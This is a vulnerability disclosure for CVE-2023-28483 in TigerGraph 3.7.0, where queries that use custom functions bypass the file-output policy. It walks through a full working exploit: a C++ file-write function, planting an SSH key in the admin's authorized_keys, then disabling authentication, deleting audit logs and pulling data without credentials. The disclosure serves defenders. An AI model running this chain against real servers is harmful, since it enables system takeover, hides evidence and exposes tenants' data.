Headline
CVE-2023-28483: GSQL FileOutputPolicy Does Not Apply To UDFs
An issue was discovered in Tigergraph Enterprise 3.7.0. The GSQL query language provides users with the ability to write data to files on a remote TigerGraph server. The locations that a query is allowed to write to are configurable via the GSQL.FileOutputPolicy configuration setting. GSQL queries that contain UDFs can bypass this configuration setting and, as a consequence, can write to any file location to which the administrative user has access.
The GSQL query language provides users with the ability to write data to files on a remote TigerGraph server. The locations that a query is allowed to write to are configurable via the GSQL.FileOutputPolicy configuration setting (see File Output Policy).
This report shows that GSQL queries which contain UDFs can bypass this configuration setting and as a consequence can write to any file location to which the administrative user has access. We demonstrate the seriousness of this by modifying the access controls of the administrative user to allow password-less login to an attacker via SSH. Once logged in the attacker has full administrative control of the application across all remote servers.
Impact
Severe.
It is not possible to guarantee that a user is unable to access sensitive data using the built-in access controls. Therefore, it is not possible to ensure confidentiality of uploaded data within a multi-tenant system – as both tenants can see each other’s uploaded data.
Products/Versions Affected
- TigerGraph Enterprise Free Edition 3.7.0 Docker Image
- TigerGraph Enterprise Free Edition 3.7.0
We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).
Steps to Reproduce****Standup A TigerGraph System
Using docker download at the latest TigerGraph image and start the server:
1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:
docker rm tigergraph docker pull tigergraph/tigergraph:latest latest: Pulling from tigergraph/tigergraph Digest: sha256:6c00ec6646f66a14fd0c7babdbf19bf9e70c5548aebc04ac8958015d5f62af31 Status: Image is up to date for tigergraph/tigergraph:latest docker.io/tigergraph/tigergraph:latest
2.) Download and run the docker image (note: we do not need to attach a volume):
docker run -d \ -p 14022:22 \ -p 9000:9000 \ -p 14240:14240 \ –name tigergraph \ –ulimit nofile=1000000:1000000 \ -t tigergraph/tigergraph:latest
3.) Once the container has started, connect to it via ssh (note: the default password is tigergraph):
ssh -p 14022 tigergraph@localhost
4.) Start all TigerGraph services
gadmin start all
5.) Using GSQL, create a new graph called test and add a node to it:
$ gsql GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true" GSQL> CREATE GRAPH test(*) GSQL> begin GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test { GSQL> INSERT INTO Node VALUES(id, value); GSQL> } GSQL> end GSQL> interpret query ins(1,"hello")
6.) Create a user — alice — with minimal privileges using GSQL:
gsql “create user” User Name : alice New Password : ***** Re-enter Password : *****
7.) Grant privileges to Alice:
gsql “grant role designer on graph test to alice”
8.) Enable RESTPP authentication
gadmin config set RESTPP.Factory.EnableAuth true gadmin config apply -y gadmin restart restpp nginx gui gsql -y
9.) Configure the system to only allow GSQL queries to write into a specific directory (Enter the new path manually in the prompt after executing the first command):
mkdir /home/tigergraph/gsql_output
gadmin config entry GSQL.FileOutputPolicy GSQL.FileOutputPolicy [ [“/”] ]: The policy to control file outputs in GSQL queries New: [“/home/tigergraph/gsql_output”] [ Info] Configuration has been changed. Please use ‘gadmin config apply’ to persist the changes.
gadmin config apply -y [ Note] Changes: GSQL.FileOutputPolicy: [“/”] -> [“/home/tigergraph/gsql_output”] Proceed to apply? (y/N)y [ Info] Successfully applied configuration change. Please restart services to make it effective immediately.
gadmin restart gsql -y [ Note] Restart the service(s)? (y/N)y [ Info] Stopping GSQL [ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL
Download GSQL Client and Connect
We will run our GSQL commands as our newly created user alice. To do this we will need to get a copy of the GSQL client that we can run locally. The easiest way to do this is to copy it from the docker image like so:
docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar
Once downloaded a GSQL console can be opened for alice by running the following command:
java -jar gsql_client.jar -ip localhost -u alice -g test Adding gsql-server host localhost Password for alice : ***** If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL >
Check FileOutputPolicy Is Being Enforced
First we check that the GSQL.FileOutputPolicy is working as expected by testing whether our user alice is able to write outside of the /home/tigergraph/gsql_output directory.
The steps to reproduce this are:
1.) Create a new GSQL query, called write_file, that creates a new file:
GSQL > begin GSQL > create query write_file(string file, string value) for graph test { GSQL > file f (file); GSQL > f.println(value); GSQL > } GSQL > end Successfully created queries: [write_file].
2.) Install the GSQL query:
GSQL > install query write_file Start installing queries, about 1 minute … write_file query: curl -X GET 'https://127.0.0.1:9000/query/test/write_file?file=VALUE&value=VALUE’. Add -H “Authorization: Bearer TOKEN” if authentication is enabled. Select ‘m1’ as compile server, now connecting … Node ‘m1’ is prepared as compile server.
[========================================================================================================] 100% (1/1) Query installation finished.
3.) Run write_file with a file path that violates our GSQL.FileOutputPolicy:
GSQL > run query write_file("/home/tigergraph/test.txt", “hello this should not work”) Runtime Error: The path ‘/home/tigergraph/test.txt’ is not allowed by the file output policy. The valid output path includes '/home/tigergraph/gsql_output’.
4.) Run write_file with a file path that does not violate our GSQL.FileOutputPolicy:
GSQL > run query write_file("/home/tigergraph/gsql_output/test.txt", “hello this should work”) { "error": false, "message": "", "version": { "schema": 0, "edition": "enterprise", "api": “v2” }, "results": [] }
5.) Using our administrative SSH shell, check that our file was successfully written on the remote system:
ssh -p 14022 tigergraph@localhost Warning: Permanently added '[localhost]:14022’ (ED25519) to the list of known hosts. tigergraph@localhost’s password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are not required on a system that users do not log into.
To restore this content, you can run the ‘unminimize’ command. Last login: Tue Feb 7 13:47:38 2023 from 172.17.0.1
cat gsql_output/test.txt hello this should work
Bypassing GSQL.FileOutputPolicy Via UDFs
The following steps demonstrate that the GSQL.FileOutputPolicy does not apply to GSQL queries that make use of UDFs:
1.) Get a copy of the ExprFunctions.hpp file from the running docker container. Here we download it to a file called my-udf.hpp that we will add our new UDF into
docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/src/QueryUdf/ExprFunctions.hpp my-udf.hpp
2.) Edit my-udf.hpp and add the two includes shown below to the list of existing includes near the top of the file:
#include <iostream> #include <fstream>
3.) After the to_string() function in my-udf.hpp add the following code that defines a UDF called write_to_file():
inline void write_to_file(string file, string value) { std::ofstream OutFile(file); OutFile << value << std::endl; OutFile.close(); }
4.) Install the UDF on the remote system using the GSQL client (logged in as the administrative tigergraph user) like so:
java -jar gsql_client.jar -ip localhost Adding gsql-server host localhost If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL > put ExprFunctions from “./my-udf.hpp” PUT ExprFunctions successfully.
5.) Login using the GSQL client as user alice (a non-administrative user) and create a new query called write_file_udf that uses our newly installed UDF:
java -jar gsql_client.jar -ip localhost -g test -u alice Adding gsql-server host localhost Password for alice : ***** If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL > begin GSQL > create query write_file_udf(string file, string value) for graph test { GSQL > write_to_file(file, value); GSQL > } GSQL > end Successfully created queries: [write_file_udf].
6.) Install the write_file_udf query:
GSQL > install query write_file_udf Start installing queries, about 1 minute … write_file_udf query: curl -X GET 'https://127.0.0.1:9000/query/test/write_file_udf?file=VALUE&value=VALUE’. Add -H “Authorization: Bearer TOKEN” if authentication is enabled. Select ‘m1’ as compile server, now connecting … Node ‘m1’ is prepared as compile server.
[========================================================================================================] 100% (1/1) Query installation finished.
7.) Run the query with the set of parameters which previously failed:
GSQL > run query write_file_udf("/home/tigergraph/test.txt", “hello this should not work”) { "error": false, "message": "", "version": { "schema": 0, "edition": "enterprise", "api": “v2” }, "results": [] }
8.) Login as the tigergraph administrative user via SSH and check whether the file has been created successfully:
ssh -p 14022 tigergraph@localhost Warning: Permanently added '[localhost]:14022’ (ED25519) to the list of known hosts. tigergraph@localhost’s password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are not required on a system that users do not log into.
To restore this content, you can run the ‘unminimize’ command. Last login: Tue Feb 7 13:47:38 2023 from 172.17.0.1 cat gsql_output/test.txt Hello this should not work
Demonstrating The Impact Of The Vulnerability
To demonstrate the severity of this vulnerability we will now use our write_file_query to install a backdoor into the remote TigerGraph server (as described in CVE-2023-XXXX). The following steps will describe how to overwrite the tigergraph user’s SSH access controls to accept a newly created SSH key to be used for authentication.
1.) Prepare a new SSH key on your local machine. We use the following command to create a new key in the file bad-key with its corresponding public key in the file bad-key.pub:
ssh-keygen -f bad-key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in bad-key Your public key has been saved in bad-key.pub The key fingerprint is: SHA256:6H9Tqv60XkhU+6f82b18HvZvX6ZQaTGC1yUFIVCw5sU The key’s randomart image is: ±–[RSA 3072]----+ | o++ ++o| | = + o | | = E + | | . + o o + | | . S o = .| | . . …+ o | | . ooo ooo| | . .+o .o+X| | .+=+. .*&| ±—[SHA256]-----+
Note: we just left the password empty to enable us to use password-less SSH connections.
2.) Copy the contents of bad-key.pub into the clipboard:
cat bad-key.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM=
3.) Open a GSQL console as user alice and run our write query with the following parameters:
java -jar gsql_client.jar -ip localhost -g test -u alice Adding gsql-server host localhost Password for alice : ***** If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL > run query write_file_udf("/home/tigergraph/.ssh/authorized_keys", "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM= ") { "error": false, "message": "", "version": { "schema": 0, "edition": "enterprise", "api": “v2” }, "results": [] }
4.) From the folder that stores your newly created SSH key (bad-key and bad-key.pub) use the following SSH command to login to the remote TigerGraph server without requiring a password:
ssh -i bad-key -p 14022 tigergraph@localhost The authenticity of host '[localhost]:14022 ([::1]:14022)' can’t be established. ED25519 key fingerprint is SHA256:YcV+9S8GKDc54TnX5UNIvOwub4D6d2aznpA1iuNLftY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[localhost]:14022’ (ED25519) to the list of known hosts. Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are not required on a system that users do not log into.
To restore this content, you can run the ‘unminimize’ command. Last login: Mon Feb 6 14:31:49 2023 from 172.17.0.1 $
Circumventing Security Features And Exfiltrating Data
Now that we have shell access as the administrative user, we can now disable authentication for the REST API and wipe out a selection of the systems audit logs:
tigergraph@092eb28b2d49:~$ gadmin config set RESTPP.Factory.EnableAuth false [ Info] Configuration has been changed. Please use ‘gadmin config apply’ to persist the changes. tigergraph@092eb28b2d49:~$ gadmin config apply [ Note] Changes: RESTPP.Factory.EnableAuth: true -> false Proceed to apply? (y/N)y [ Info] Successfully applied configuration change. Please restart services to make it effective immediately. tigergraph@092eb28b2d49:~$ gadmin restart restpp nginx gui gsql -y [ Info] Stopping NGINX RESTPP GSQL GUI [ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI tigergraph@092eb28b2d49:~$ rm gsql/* restpp/* controller/*
To prove that authentication is disabled we now exfiltrate data from the test graph without needing to authenticate our request:
curl -X GET “https://localhost:14240/restpp/graph/test/vertices/Node” {"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%